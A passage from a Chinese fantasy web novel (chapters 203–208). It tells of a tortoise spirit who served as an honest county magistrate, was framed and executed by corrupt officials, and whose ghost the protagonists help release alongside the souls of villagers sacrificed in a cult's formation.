“三万石粟米,在你们这里根本不算什么,可却能救活我们全县的百姓啊!”
“你们可以**,下官也知道世间不可能没有贪官。可贪归贪,你们不能枉顾人命啊!”
“给我粮食,我只要粮食……只要三万石,给我!给我!”
刚才那高高在上不可一世的郡守大人,此刻被拿捏住了性命,彻底怂了。
他一个劲儿点头:“给给给,你要多少本官都给。别杀我,不然的话你会有**烦!”
老龟根本不想**。
他做了几十年的人,早就把自己当成一个彻头彻尾的人了。
今日若不是怒发冲冠,他也不会对任何人动手。
拿到了郡守的手令后,他毕恭毕敬地鞠了一躬:“对不住了郡守大人,下官也是走投无路,才出此下策。”
说罢,他拿着手令去库房提到了三万崭新的粟米。
将粟米运回县里后,他就一头扎入了赈灾和安抚的工作中。
他一心想当个好官,谨记着当年主人的教导。
他没有名字,连后来考试、为官所用的名字,都是主人的名字——张平。
原以为这样他就是拥有了人性,可以做个好官,却不知不是所有人都配称为人!
当他忙碌了整整一个月,把赈灾事物都安排妥当后,郡守突然带着一队人马包围了县衙。
“隆县县令张平,以下犯上挟持上官,中饱私囊、**赈灾粮款。另有县民举报,其以沙子混淆粟米之中,视百姓性命为儿戏!从今日起免去县令职务,打入府衙大牢!罪官张平,还不束手就擒?”
当时,张平身边还有他的手下和一些从乡镇上来感谢他的老百姓。
听得此话,众人纷纷为
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他鸣不平。
“张大人怎么可能**?他身上的官服都是缝缝补补不知穿了多少年的!”
“我们县受灾的时候,不见你们这些高官露面。现在张大人好不容易带着我们熬过去了,你们却又冒出来诬陷好人。真是岂有此理!”
“天底下谁都可能**,唯独张大人不可能!你们休要在此放屁!”
“滚出去,我们这里只要一个张大人就够了,不需要你们这些满口谎言的坏人!”
民众群情激愤,可他们低估了官府的力量。
郡守这次是有备而来,特意带了一千军士,将县衙封锁,很快就把县衙里的百余人都控制住了。
老龟原本是有自保能力,可那郡守却抓了县衙里的百姓威胁:
“张平,我知道你手段高明,恐非凡人!但今日你敢走,我就屠了你的县衙。你能保住自己的命,但你能保得住这些人的命吗?他们可是把你当成衣食父母一样敬重啊。你看,他们被抓了,还在为你说话呢。你真的忍心看他们死吗?”
老龟当然不忍心。
他在此处为官十几年,不婚不娶,一心只扑在公务上,早已将每一位子民当成自己的孩子看待。
春耕的时候,他陪着乡民们播种。
他时常走进学堂,鼓励每一个学子好好读书。
大灾之后,更是他踏遍全县亲自勘探,遇到危房就带领衙役进行修缮。
此刻,望着那些被缴了械、打得头破血流按在地上,依然大声替他喊冤的人。
老龟泪流满面,丢下了手上的武器说:“勿伤我的子民,我任由你们处置。”
又对那些百姓们道:“水灾之后,最怕瘟疫。我走之后,尔等千万注意。若出现感染人员,立刻上报,并且做好隔离消毒措施。切记切记!”
“张大人……”
“莫要哭。以后,朝廷会派来新的县官。你们也要好生配合,把县里治理得更好。如今的局面来之不易,千万不可意气用事。”
第203章 梦魇小镇(7)
老龟再三叮嘱,本想到了府衙大牢之后,再使出神通来逃出困局。此后,就回深山老林修炼吧,官场黑暗终不可长久。
没想到的是,郡守早就在押解的队伍里安排了捉妖师,不等老龟逃走,就先动了手。
那些人自称是归元教人士,专门捉妖镇邪,手段厉害,法宝也多。
很快,老龟就败下阵来,被打出了原形。
他遍体鳞伤,倒在地上愤愤不平:“我虽是妖,但从未做过任何伤天害理的事。此番,**的明明是你们,却要诬告与我。天理昭昭,报应不爽,你们当真就这般为所欲为吗?”
“没有做过任何伤天害理的事?”郡守阴恻恻地笑了,“谁会相信呢?”
“谁会相信,一个妖怪伪装成人,什么好处不得,天天勤勤恳恳地为民服务?世间怎么会有这么蠢的人呢?”
“所以,你一个妖怪、一个邪物!披上人皮,混入官场,肯定别有用心!”
“此番你们县的洪灾来得蹊跷,前几年都好端端的怎么就突然下了那么久的暴雨,犯了洪灾呢?”
“一定是你!你这个江河里的妖孽,搅弄起风雨引发洪灾,致使百姓流离失所。”
“而后,你又以青天大老爷的身份,跑来本郡喊穷。你狮子大开口,要了一百万石的粮食和一百二十万两银子。是你将粮食和银两贪墨,却给百姓吃掺了沙子的粟米!”
“哈哈哈……这样是不是就合乎逻辑了?”
周围的人都在大笑,笑这一出好戏终于有了顶锅的人。
老龟愤怒得睚眦欲裂,吐血咆哮:“放屁!你们这是欲加之罪何患无辞!我是乌龟成精没错,可我是陆龟,不是江河湖海里的龟,没有那种呼风唤雨的本事!我也没有**,我一文钱都没有拿过,**的人是你们,不是我!”
郡守叹了口气,压低了声音道:“是,你是冤枉,本官知道你冤。可是没办法呀,朝廷突然开始严查**舞弊。我们上报的那笔钱款和米粮都被查出来了。好在特使已被买通,不会动我们,只是需要一个替罪羔羊。要不然,那位特使也不好向朝廷交代。”
“没错,你就是那替罪羔羊。正好你又是妖怪,一切就更加顺理成章。至于是水龟还是陆龟,能否呼风唤雨,这不重要,没有人会在乎。”
“你别以为你那些县民,会为你申冤。之前他们敬重你,是因为他们受你蒙蔽,不知道你是个妖怪。若是知道的话,他们只会害怕你,哪里还会记得你是不是个好官呢?”
“不信的话,你就睁开眼好好看着!”
在大牢的几天里,老龟被铁链缠住了周身,瑟缩在阴暗的角落里。
他的脑海里一遍遍地回想起过往的人生经历,不明白为什么自己那么努力地做人为官,到头来却落得这样的下场。
为什么有的人,却长了一颗恶魔般的心?
为什么世道如此不公?
为什么好人没有好报?
不久之后,老龟的罪名被做实,押解至菜市口公开处决。
当天围观的人群里,有不少隆县的县民。
可是往日里,那些对他敬重有加的百姓,如今看他的眼神却带着恐惧和闪躲。
郡守站在高台上,大声宣读着他的罪名:
“今有龟妖张平,幻化成人,又侥幸混入官场,为祸一方!为了个人的政绩,此妖擅使妖术,引来洪水灾祸,致使数万百姓受其侵害,流离失所、民不聊生!”
“幸有归元教仙长及时窥破妖邪真面目,将其擒拿归案!朗朗乾坤,不容妖邪放肆!今日公开处斩首之刑,以儆效尤!”
有人质疑道:“可是他真的是一个好官啊,我不信他是妖怪!”
旁边,归元教的人听到这话,冷哼一声走出来,同时甩出一张符,大喝一声:
“妖孽现出你的原型!”
于是,众目睽睽之下,张平现出了乌龟的本形。
“天哪,好大一只乌龟,果然是个妖孽!”
“所以我们县的灾
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祸都是他引来的吗?我那可怜的老母,洪水来的时候来不及跑被活活淹**!呜呜,妖怪还我娘的命来!”
“我儿子也被水淹**,他从前最喜欢张县令,还说长大了要给他当捕快!妖怪,你怎么能那么狠心害死他呢?”
“不不,大家冷静点!张县令这十几年来为我们做的事还少吗?他是个好官啊,就算是妖怪,也是个好妖怪!”
“妖就是妖,哪有好坏之分?之前不过是为了取信于我们,才惺惺作态。大家不要被他骗了!”
“对,不能被他骗了!杀了妖怪,替我们死去的亲人报仇!”
“杀了他、杀了他!”
无数的石子、烂菜叶朝老龟砸来。
老**破血流,满心悲切:“就因为我是妖,你们便心怀偏见,人云亦云?”
贪官的构陷,只让他觉得愤怒。可那些百姓的辱骂,却如一把把利刃将他的一片真心,剜成了千疮百孔!
世人愚昧,可怜又可恨!
最终,在无尽的愤恨中,老龟死去了。
因为怨气大,他死后的魂魄也无法超脱往生,只能徘徊在人间。
他对林倾月道:“我也不知道为什么会被困在这里。还有小镇上的人……他们似乎也在一夕之间统统死光了,灵魂和我一样都被困在这里,无法离开。”
“他们和我一样,都是可怜的魂魄,也不曾主动伤人,只是此地的阴气太盛又流不出,所以误入此间的人才会被害。”
东方起道:“他们从前那样对你,等同于背叛,你居然也不记恨?”
“恨?”老龟轻轻叹息,“曾经也确实恨过。可害死我的罪魁祸首是那些贪官污吏,百姓无知,不过是受了蒙骗而已。如今时过境迁,我又能如何恨呢?”
他放眼望着那些来来往往的魂魄,眼底涌动着复杂的情绪:
“他们都曾经是我管辖下的百姓,我视他们如子。天底下又有哪个父亲,会因为儿子的误解而一直记恨呢?”
第204章 梦魇小镇(8)
老龟的话深深地打动了东方起,他向那老龟郑重作揖:“张县令心怀大义,东方起佩服!”
老龟诧异:“你姓东方?我记得那是齐国的国姓,莫非你是齐国皇室子弟?”
“不错。”东方起心里从来没有人和妖的芥蒂,再加上他是真心敬佩这老龟,此刻便也不藏着掖着。
老龟规规矩矩地和东方起见了礼——虽是妖,但他的行为举止,全然一派大儒风范。
“所以你们刚才应该不是真的想要为难这里的百姓吧?”
刚才老龟突然现身,也是见林倾月对小镇上亡魂下手,才出来阻止。
林倾月道:“你即是妖,死后做了鬼也比一般的鬼强大。以你的能力,完全可以将这此地的鬼魂炼化为你的养分,再重新修出妖身。可这么多年,你都没这么做。可见你并非大奸大恶之辈,所以我刚才略施小计逼你现身。”
东方起似想到了什么,忙对林倾月道:“进入戊安县的时候,那几个造型怪异的牌坊,你可曾留意到?”
林倾月点头:“注意到了,那是一种十分恶毒的阵法。六座牌坊立在一起,像一个敞开的棺材口,吞噬着往来旅客的阳气。”
东方起道:“所以你说,立此阵法的人,会不会就是在梦魇小镇设局困住这些灵魂的人?”
林倾月道:“我要再好好看看,才能确定。”
她说罢,足尖轻点便掠至高空,俯瞰周遭地势。
片刻后,绯红伞面骤然绽放如莲,她旋身飘落,宛若一片被流云托着的红霞。
“如何?”东方起问。
林倾月道:“果然如你所料,两者相辅相成,组成了一个庞大的风水阵法。我原本以为,这阵法是某些权贵用来改自身运势的,可与梦魇小镇的阵法一结合,要改的就不只是个人运势,而是整个国运了。”
“他们以戊安为切口,暗中将丰国的国运偷往鬼方国。而恰处两国之间的梦魇小镇,正好是整个阵法的阵眼——以全镇活人为祭启动阵眼,如此便能源源不断地,将丰国的气运盗走。”
“什么?你是说这平安镇百姓一夜死绝,竟是被当成祭品献祭了?”老龟又惊又怒,“我花了十多年,才盘活平安镇乃至整个隆县的经济,让百姓过上好日子……他们怎么能,怎么敢!”
林倾月淡淡一笑:“怎么不敢?一城一镇在你眼中是全部,在某些人看来,不过是随时可牺牲的祭品。”
就像当年那些修仙者,为了私欲屠戮一国之人,眼睛都不会眨一下。
东方起问林倾月:“我记得你之前给我讲过阵法相关的事情。一般来说,阵眼附近的力量最为强大。这里的镇民被献祭之后,变成了鬼魂不得离开。直至受无尽煎熬后,被阵眼吸收,魂飞魄散。然而这么多年来,这阵子上鬼魂似乎一个也没少?”
林倾月点头:“按照这个阵法的强度,镇上鬼魂不出三年就会魂飞魄散。阵眼也会因为吸收到了足够的阴气,进一步强大。然而,世事无绝对。”
她转眸望向老龟:“若我没看错的话,你应该就是那个意外。”
“我……是意外?什么意思?”老龟很纳闷。
林倾月解释道:“献祭的人数都有定数,不可多也不可少。你应该是死亡之后,心里还挂念此间的百姓,所以魂魄才会来到这里。而你生前是此地的父母官,死后的魂魄也自然而然地庇护着这里的亡魂。”
“因此,你的到来,以及你周身散发出来的那种庇护之力,在无形之中形成了一道屏障,才使得小镇上成千上万无辜往死的鬼魂没有被阵眼吞噬。”
老龟仔细回想着道:“哦,我想起来了。当初洪灾之后,我担忧的就是闹瘟疫。平安镇是受灾最严重的地方,北面又毗邻着一条大河。我心里总有些放心不下,想来看看。大约就是如此,我死后的亡魂才会飘到这里,
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也算是阴差阳错吧。”
看穿了这一切的林倾月都觉得无比讽刺。
一个妖怪却活成了人,至仁至义。哪怕众叛亲离,哪怕被冤杀,居然也没什么多少怨气,死后英灵还在庇护这方百姓。
偏偏世间有些人,却包藏祸心,不仁不义。
老龟郑重地跪下,向林倾月和东方起请求道:“过去十几年我浑浑噩噩,如今得遇二位,方才醍醐灌顶知晓了一切。你们二位应当都是身怀大能者,老夫恳请二位帮忙超度这里的千万冤魂,也免得叫过路人再遭受阴气袭击。”
东方起对林倾月道:“此事还需慎重些。归元教在鬼方国已发展成了第一大教,这里的事情很大概率就是他们手笔。你若是贸然动了他们的阵法,只怕会打草惊蛇。”
“打草惊蛇?”林倾月冷笑,“那又如何?”
东方起道:“我的意思是,不如等我们把归元教的情况摸清楚了,回城的时候也会途径这里,到时再解决就是了。”
他的考虑确实周全。反正这里的鬼魂老龟还能庇护一二,短时间内也不会出问题。
可**的事,归元教很可能是三千年修仙界的余孽残留。
当年全胜时期的林倾月固然不怕,可如今的她修为才刚刚恢复到三成。而对方深浅不知,万一……
林倾月已是死过一遭的人,根本不在乎生死,早就做好玉石俱焚,一起玩完的打算。
因此,她并不能保证自己还会回来。
此刻,她依旧谁都不放在眼里的狂妄模样:“打草惊蛇又如何?我还能怕了他们不成?若是他们找来了,我就一块杀光光,倒也省得我一个个找了。”
东方起知道她脾气,索性也不劝了,只是向那老龟问清楚了当年郡守的名讳背景等等。
设置这个恶毒阵法的人,和当年的那个郡守也脱不了关系。与其打草惊蛇,不如先把毒蛇找出来弄死,一了百了。
第205章 梦魇小镇(9)
此刻,林倾月绯红纸伞下的引魂铃叮叮当当地唱响。
被困在镇上的魂魄,便又重新**在林倾月等人中间。
“三魂渺渺,七魂荡荡;聚而生灵,不负前尘。往昔诸事,听吾召唤!”
清冷而悠长的吟唱,伴随着铃铛的声音,化作无数光点,飘飘荡荡落入每一个鬼魂的魂魄中。
于是那些被他们遗忘的前程往事,又全部浮现。
天上浓云散去,终于透出一抹温柔的月光。
那些茫然的冤魂们,睁开眼睛先看到了林倾月和东方起:黑裙女子神秘如夜,白衣男子翩然若仙,宛如一对不染尘俗的璧人。
忽然有人喊了一声:“张大人!”
于是所有鬼魂的焦点,全都落在了老龟的身上。
“张大人,你来救我们了吗?呜呜,大人我就知道你不会不管我们的!”
“张大人你是好官,我们知道你没有**,你被冤枉了。我们都想替您申冤,镇子上还偷偷组了个上骆城告御状的小队。可……可不等我们为您申冤,我们就先**了!”
这里的镇民乃是被献祭而死,丧失了记忆。
老龟没办法和他们产生任何交流,更不知道他们曾经也试图为自己申冤。
得知真相后,老龟眼眶湿润,颤声询问:“你当真……可我是妖怪,你们不怕我吗?”
“十几年了,张县令您是什么样的人,我们再清楚不过!没有您,哪有我们的好日子?”
“我们不管你是不是妖怪,我们只知道你是我们的县令,是我们的父母官!”
“大人,那天我也去了刑场帮你说了话,可惜人微言轻。后来我才知道,在刑场上骂你的人,他们是因为家人被抓了,受了威胁才不得不屈从。”
“张伯伯,你回来吧!我们都想你了……”一个七八岁的男孩拽着老龟的袖子,眼巴巴地望着。
“张伯伯,你回来吧!我们都想你了……”一个七八岁的男孩拽着老龟的袖子,眼巴巴望着。
这孩子出生时难产,是恰巧路过的老龟寻来接生婆才保住性命,后来他更是看着孩子一天天长大。
镇上所有百姓,又何尝不是他护着、看着长大的孩子?
原来他们从未背叛,原来他们都知自己蒙冤,甚至曾想为他告御状!
积压多年的郁结,终于在这一刻烟消云散。
老龟泪流满面,又无比欣慰。
“大家若是还认我这个县令,就先听我说。”
他擦了擦眼泪,努力地微笑:“你们的魂魄在这里已经困了十多年了,若是再继续下去,难保有一日会魂飞魄散。这位——”
他恭敬地指着林倾月道:“这位小姐身怀异能,可超度你们离开。大家放下怨念,都去轮回转世吧!”
“轮回转世?我们还能有机会吗?”
“留在这里太痛苦了,我想离开,我一直想要离开。”
孤魂野鬼,没有祭祀,没有香火,留在世间的每一日都是煎熬。
也是看到他们受煎熬,老龟心有不忍,他为他们制造出了梦魇之境,让他们沉浸在生前的过往里以减少痛苦。
如果能够离开,自然求之不得。
“好,大家都想离开就好!听我的话,不要有任何排斥怨恨的心理,闭上眼睛,让自己的魂魄放松。”
眼看众鬼都乖乖闭上了眼睛,老龟转身对林倾月道:“可以了,麻烦小姐替他们超度。”
林倾月点头,嘴里念念有词的同时,**起灵力为无依的亡魂指引去往阴间的路。
只是这里的魂魄太多,操作起来,实在太耗费力气。
好在东方起也是修道者,从旁协助帮着林倾月一起超度众鬼。
整整一夜过去。
当黑暗褪去,东方的天际即将迎来第一缕曙光的时候。
整个梦魇小镇的魂魄,都已经离开。
空空荡荡的小镇笼罩在一片朦胧的晨光里,再无任何阴气。
林倾月转过头来,微微蹙眉:“你怎么没有离去?”
老龟站在一片树荫下,自己也有些焦急:“是啊,为什么我还没有走?我想走的,我真的想走了,可是我……”
林倾月叹息:“你放不下你的仇恨。”
老龟恨恨地道:“那些丧尽天良的东西,冤枉我**杀了我也就罢了,居然
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设下这等恶毒的阵法,将我一镇的百姓都给献祭了!我真的好恨啊!恨自己没能庇护好百姓,恨那些恶魔心狠手辣!”
他揪着胸口的衣襟,无比痛苦:“我知道自己该放下的!我教百姓们放下怨恨,放松身体,接受超度。可是我自己却做不到啊……这里……好痛……好恨啊!”
东方起脸上微变:“不好,这是形成了心魔。若不控制,只怕要入魔!”
鬼魂执念太深无法消除会成厉、成煞,彻底丧失人性,无差别攻击普通人。
妖鬼也是如此,一旦执念过深引出心魔,就会入魔。变成只会弑杀的工具。
东方起正要劝说老龟守住本心,却听林倾月冷哼一声,霸气地道:
“心魔如何?有仇报仇,有怨报怨,心魔自然能消除,不必纠结!”
此话一出,老龟都愣了:“我,我还能……报仇?还有机会?”
林倾月道:“怎么没有?你不过就是成了鬼,还没有魂飞魄散,想要报仇又有何难?”
一语点醒梦中人,老龟拍着自己的脑门呢喃:“对啊,报了仇、消了心魔不就行了?我为什么要在这里痛苦纠结呢?”
旋即,他又有些惆怅:“可是我离不开这里呀。我试过很多次,怎么都离不开。更没办法找那人报仇。”
此刻,日光渐盛,即便老龟已经退到了树荫底下,依然被阳气灼得有些难受。
于是他再度陷入无尽的痛苦里:“终归还是我痴心妄想。我连阳光都无法抵抗,又何谈报仇?”
然后就在这时,头顶里落下一片阴影,一片绯红色的油纸伞遮住了热辣的阳气,使得老龟的魂魄瞬间沐浴在一片清凉之中,通体舒适。
他茫然地抬头,就看到绯红色的伞下,引魂铃叮叮当当地摇晃着,像一曲安魂之歌。
林倾月轻声道:“走吧,我带你离开。”
黑裙飘逸的少女,撑着红色的伞,回头对东方起道:“还愣着干什么?走了。”
“来了!”东方起快步上前,笑盈盈地跟了上去。
原本怎么也走不出的小镇子,此刻却随随便便就找到了来时的路。
第206章 梦魇小镇(10)
林倾月找回了先前停放在镇口的马车,问东方起:“你是骑马来的?”
东方起赶忙坐在马车外,十分熟稔地拿起了赶车的鞭子:“我的马跟在后面就行,我帮你赶车。中间还能换着马拉车,让马儿休息休息。”
林倾月蹙眉道:“你没看到我在马上贴的符吗?它自己会走。”
东方起当然看到了那张符,赶忙道:“还是我来赶车吧。此去一路上必然要经过许多市井之地,没有车夫的马车会叫人生疑。”
他主要是怕自己若无一点用处,就会被赶下车去骑马。
林倾月淡淡地瞥了他一眼,心底暗暗恼火:我真是脑子被驴踢了,居然想邀他同车。哼,既然不愿意和我坐车厢,喜欢赶车就赶吧!
旋即她红伞一收,把那老龟的魂魄也一并收入伞中,而后身形一闪进了车厢内。
东方起暗暗松了口气:幸好本宫机灵,抢在月月赶我之前,先给自己找好了位置。
于是堂堂太子爷,再度成为了一个幸福的小车夫。
平安镇的阴魂全部被超度,妖鬼也随着林倾月他们一道离去,小镇的阵眼也被破解。
周全、顺娘夫妇,以及和他们一起进来的老道士,先后从睡梦中醒。
他们是三天前来到小镇,昏睡了这么久,突然醒来后,除了饥饿和身体虚弱之外,却没有别的不适感觉。
只依稀记得,自己被困在镇子里怎么都走不出来。
而此刻再看向周围时,却明显察觉到小镇上的阴邪之气都已消失。
阳光正好,洒在小镇的角角落落,也照得那三人浑身暖洋洋的。
“怎么回事?这个镇子好像突然变了,一点邪气都没有了?就好像……”
周全一下子想不好,该怎么形容。
顺娘接过他的话头:“就好像,这只是一座荒废的普通小镇。”
她猛然抱住丈夫,呜呜的哭泣:“太好了,我们都没事儿!我还以为这次死定了!”
那老道士抖着拂尘,满心疑惑:“可以这到底怎么回事?难道是有人出手,把这里的邪物给收走了?”
这时,忽然有清脆悦耳的叮咚声,自远而近漫入耳际,像碎玉在风中轻轻叩响。
三人抬眸望去,只见一辆马车踏着碎金似的朝阳而来。
赶车人白衣胜雪,袖摆随晨风轻扬,透着几分仙逸,只是斗笠压得低,遮住了眉眼。
“劳驾,敢问是初来镇上吗?可见过什么异事?”
车内无人应答。
马车从身边驶过,碾碎了温柔的晨光,渐行渐远,终是化作一道淡影,消失无踪。
三人看愣了一会儿,老道士首先反应过来:“我们感觉到邪祟已散,这下肯定能走出镇子了!”
于是,三人迈着虚弱的步子,急匆匆地往前走。
等到走到那一片枕木和碎石遮挡的路口,看到那个提醒路人不要随意入内的告示牌时,他们才终于确定安全出来了!
逃出一劫,三人都松了口气。
顺娘催促道:“快快,顺着这条路一路往前走,就能回到我们来时戊安县!我要大吃一顿,我真的好饿,饿得都能吃下一头牛!”
她丈夫周全哈哈大笑:“娘子,我们要发财了!丰国朝廷悬赏千两黄金,拔除梦魇小镇里的邪祟!”
顺娘道:“可是我们什么也没做,还差点被困死在里面。如果我没猜错的话,除掉邪祟的应该是刚才从我们身边经过的马车主人。”
周全道:“一个车夫穿着打扮都那般阔气,坐在车厢里的人肯定也不差钱。看他们离去的方向,应该是去了鬼方国,根本没有把赏钱放在眼里。既然如此,那些钱不拿也是白费,不如就便宜我们三个!”
老道士也点头认可:“说得有理!再说,我们也确实出了些力,领取赏金问心无愧。”
三人商量好,便一路往戊安方向而去。
到了戊安县,吃了些食物稍作休息后,就去了戊安县衙求见县令。
等了约一盏茶的功夫,县令就出来了。
听说是三位高人解决了梦魇小镇的邪祟,大吃了一惊:“此话当真?那镇子可是困扰了我们十年啊!多少能人异士,想要拔出祸患。却反而被困在其中再也没能出来。几位高人是如何做到的?”
如何做到的,他们当然也不知
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道。
周全夫妇俩面面相觑,一时有些不好回答。
老道士捋了捋花白的长须,镇定自若地道:“那镇子上其实就是**的一大堆无法投胎的鬼魂,由于数量太多,形成的阴气很重。一旦有人踏足,就会被受其影响陷入梦境,而后在梦里无声无息地死去。”
“当时情况凶险,我等三人也差点被困。所幸我们斩妖除魔的经验丰富,三人齐心协力使出了看家本领,终于将所有的鬼魂全部打散!如今梦魇小镇里一片清平,再不会出现走不出去,被困其中的情况。”
周全也忙道:“没错,就是这样!以后梦魇小镇,依然是重要的交通要塞。前往鬼方国的客旅,也不需要再绕路了。”
县令听完连连点头:“若真实如此,自然最好不过了!不过这事儿,本官还要派人去核实。如若核查属实,便会为三位奉上赏金!”
周全大手一挥:“尽管去核查,我等所言句句属实!”
县令声称要安排人手去核查,暂时离开,叫人送上了瓜果点心供三人享用。
三人喝着茶、吃着糕点,眉飞色舞,高兴不已。
这府衙大堂,往日里看起来高不可攀。如今自己居然也能当座上之宾,风光无限。
还有赏金也马上要到手……
周全忽然想到了什么,对那老道士道:“公平起见,官府的赏金我们一分为三,一人一份。”
老道士听完就不干了:“你们夫妇本就是一家,所以赏金应该一分为二,我得其中一半。”
顺娘道:“你这样分不对,我们是两个人出了两份力,自然要占其中两份!我……”
说着说着,顺娘忽然感觉鼻腔里有一股热流涌出。
伸手一摸,就摸了满手的血。
她惊慌地抬头,却发现丈夫和老道士皆是七窍流血,样貌骇人。
“茶……茶里有毒!”
好不容易逃出梦魇小镇的三人,最后却又死在了府衙里。
县令去而复返,脸色森冷:“三个贱民,居然也敢破坏我们归元教部署多年的阵法,简直就是找死!朝廷确实高价悬赏,可惜你们没命拿!”
第207章 那是什么神明?
蜿蜒的田间小路上,一辆马车徐徐前行。
车帘掀开,暖风**,拂乱了林倾月的鬓发,青丝随流风轻扬。
"还没到吗?我记得地图上标记,附近应该就是县城了。"
东方起指着前方一排映在夕阳下的屋宇道:“走过这片田野,就是隆县了。”
听到“隆县”二字,放在手边的油纸扇抖了抖。
林倾月知道,“隆县”就是老龟生前当了十几年县令的地方。如今重归故地,难免情绪激动。
“再等半个时辰,太阳落山后,你就能出来了。”
藏在伞里的魂魄安静下来,只有一道苍老的声音悠悠传出:“也不知道如今的隆县变成了什么样了,乡亲们是否还安好?”
一刻钟后,马车停在县城的一个客栈前。
东方起掀开车帘,伸手过去:“到了。”
林倾月低头看了看他的手,东方起面不改色地道:“你就当我是普通车夫。”
普通车夫?
林倾月傲慢地哼了一声,跳下了马车。
东方起一计落空也不恼,笑盈盈地跟上去:“坐了那么久的车饿了吗?我刚才问过老龟了,他说此处盛产菌菇,三鲜菌菇汤最好喝。不如……”
林倾月找了个空位坐下,见东方起也跟着坐,便道:“刚才不是自称车夫吗?哪个车夫能和主人同桌而食?”
东方起:“……刚才那不是……开玩笑吗?那,那我换一桌?”
林倾月道:“我也是开玩笑的,谁叫你喜欢当车夫呢?”
于是东方起又自觉坐下:“看来我们都是喜欢开玩笑的人,不错……”
果然很配啊!
两人点了一份三鲜菌菇汤,又点一些烤肉串和一份清蒸鱼。
这里的客人不多,加上林倾月和东方起一共才三桌。
然而店内上菜速度却奇慢无比,点了菜后都过去快一个时辰了,还没有一个菜送上。
连东方起这种好脾气的人,都等得不耐烦了。
“伙计,你家大厨是睡着了吗?怎么那么久了也不见上菜?”
“客官莫急,我去给您催催。”
好一阵子,才上来两个胡饼。
林倾月道:“看来你家大厨不仅睡着了,还喊不醒。一刻钟内,如果菜上不齐,我们就不要了。”
那伙计道:“客官莫生气,听您的口音像不像是我们本地人,所以不了解我们这里的习俗。我们这里信奉归元大神,百姓不可妄动杀念。”
“若动了血腥、杀念,就要诚心诚意地向神明祷告,求神明宽恕自己的罪责。客官您点的菜恰好都是肉食。”
“所以我们的大厨,做菜之前要在神像前祷告,求得神明的宽恕后,才能为您做菜。”
“客官您再等等,神明就快宽恕大厨了,你的菜马上就能下锅。”
林倾月听完一时语塞,默默后对东方起道:“我去瞧瞧。”
到了后厨,就见一个五大三粗的男人捧着刚刚宰杀的鱼,跪在一个神龛前,痛哭流涕:
“神啊……我罪孽深重啊!呜呜呜……我也不想伤害一条无辜的性命。可我是厨子,肩上担负着一家人的生计,我不得不为贪嘴的食客做菜……”
贪嘴的食客林倾月,忍无可忍地开口:“既然你这么难受,那这条鱼我就不吃了。”
伙计闻言立马就急了:“这怎么行?鱼都杀了可不能退呀!”
林倾月道:“那就不要废话了,一刻钟之内,若是还不上齐。我就把你们都下锅里给烹了!”
威胁效果很好,一刻钟之内她的菜全部上齐。
大厨放下盘子就远远地躲开,嘴里还在念念有词:“神啊,仁慈的神啊!请消除那位女客官身上的暴虐之气吧!世人满身罪恶,今生若还不能得到
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神明的宽恕,来生还要沉沦苦海……”
他的声音不大,怎奈林倾月耳力极好,将那些窸窸窣窣的声音全部听了个遍。
而其他几桌的食客,饭菜上桌也不着急吃,双手交叉放在胸前念念有词:
“感谢神明的赐予,今日又能让我们饱餐一顿。神明啊,您的恩德比天还大……”
这时,从店外走来一个衣衫褴褛面黄肌瘦的小男孩,拿着破碗,摇摇晃晃地进来乞讨。
东方起顺手将一个胡饼施舍过去,小男孩却连一句谢都不说,拿着胡饼跑到外面的墙角边蹲着,也开始念叨:
“感谢神明赐予的食物,这块胡饼是我的全部,我愿意将它奉献给神明,请神明先吃!”
说着,就将那饼放下,向着天空的方向拜着。
东方起从窗外探头出去,问那男孩:“给你饼的人是我,你不谢我也就罢了,却跑去谢什么神明?”
小男孩理直气壮地道:“饼虽是你给的,但一定是神明借你的手赠送。我当然要感谢我的神明。”
东方起见他脸色极差,说话也是有气无力,懒得和他过多争辩,只道:“你还是留点力气,赶紧吃饼吧。”
男孩道:“我要先把饼给神明享用,这样神明才能看到我诚心诚意的供奉,我……我……”
话没说完,小男孩两眼一翻,倒在地上不动了。
老龟的魂魄嗖的一下从伞里蹿出,飘到那男孩的身边一看,顿时痛心疾首:“**,竟是活活饿死的!”
“愚蠢。”林倾月冷哼一声,拿起肉串大快朵颐,丝毫不将男孩的死放在心上。
而那些口口声声不可造杀戮,连死一条鱼都要忏悔半天的人,却在男孩死后一个个熟视无睹。
东方起只觉得荒唐:“那是什么神明?一边教导人仁慈,一边又将人命视为草芥?岂不是自相矛盾?”
第208章 你想赶我走?
林倾月道:“不过就是披上了神装的恶魔而已,还真以为是普度众生的神明吗?那些说辞啊,也不过就是编造出来给人洗脑,方便奴役。哪里有什么逻辑呢?快吃吧。”
老龟垂头丧气地飘了回来,悲伤地道:“从前我县民生淳朴,怎么现在都神神叨叨的?还有那些食客,饭菜都冷了也不吃,就会在那念叨来念叨去。自己都饿**,还想着要供奉神明!”
东方起问道:“据我所知,归元教是十几年前开始才在鬼方国内流传。你当县令的时候,应该还没有渗透到全国各地。但如今……这番场景着实恐怖。”
老龟旋即又愤怒:“这里的县令怎可放任不管?简直就是**!”
林倾月道:“你死得太久,所以不知道。如今鬼方国的朝廷和归元教,已经融为一体了。”
东方起点了点头,补充道:“鬼方国国内所有的官员,都必须信奉归元神。就连国君,也一心侍奉神明而怠慢朝政.以至于,朝廷大事都归落入了归元教那些所谓的长老手里。这才导致如今鬼方国的混乱情况。”
“不过归元教邪术太多,这十多年来一直穷兵黩武,向西扩张,已经吞并了不少小国。继续下去,估计要不了多久就会掉转枪头来对付我们中原国度。而首当其冲的,就是丰国。”
“我猜测,丰国也有不少官员已被他们渗透。所以才敢明目张胆地,在戊安县和梦魇小镇设下那等诡异的阵法。”
“此事,还需设法传信给凌真,想来他也快回到丰国了。”
“传信?这倒不难。”林倾月说着,从阔大的袖袋里掏出了一只鸟儿,递给东方起,“用这个。”
东方起一眼就认出了这鸟:“这是惊鸿雀!”
之前,之前抓凌雪的时候,丰国人误以为他们要害凌真,于是放出惊鸿雀报信。后来被林倾月给抓住没收了。
林倾月道:“这鸟小巧可人,本来想养在身边当个乐子。罢了罢了,大事要紧。大不了回头,再找凌真多讨要几只。”
吃完了饭,两人就近找了个客栈投宿。
东方起在给凌真的书信里详细说明了梦魇小镇的情况,以及戊安县城里诡异的牌楼,让他严格排查当地官员。免得丰国朝廷也被归元教渗透。
惊鸿雀带着书信,一飞冲天,很快消失不见。
东方起心头思虑重重:若不是来到这里,还不知道鬼方国竟然已经成了这副模样。如今他们已经开始对丰国下手,甚至连齐国也有意染指,可见其野心甚大。
想着想着东方起忽然察觉到了什么,一转头就看到林倾月依靠在门框上,闲闲地啃着黄瓜。
“你不在隔壁吗?什么时候来的,居然一点声音都没有?”
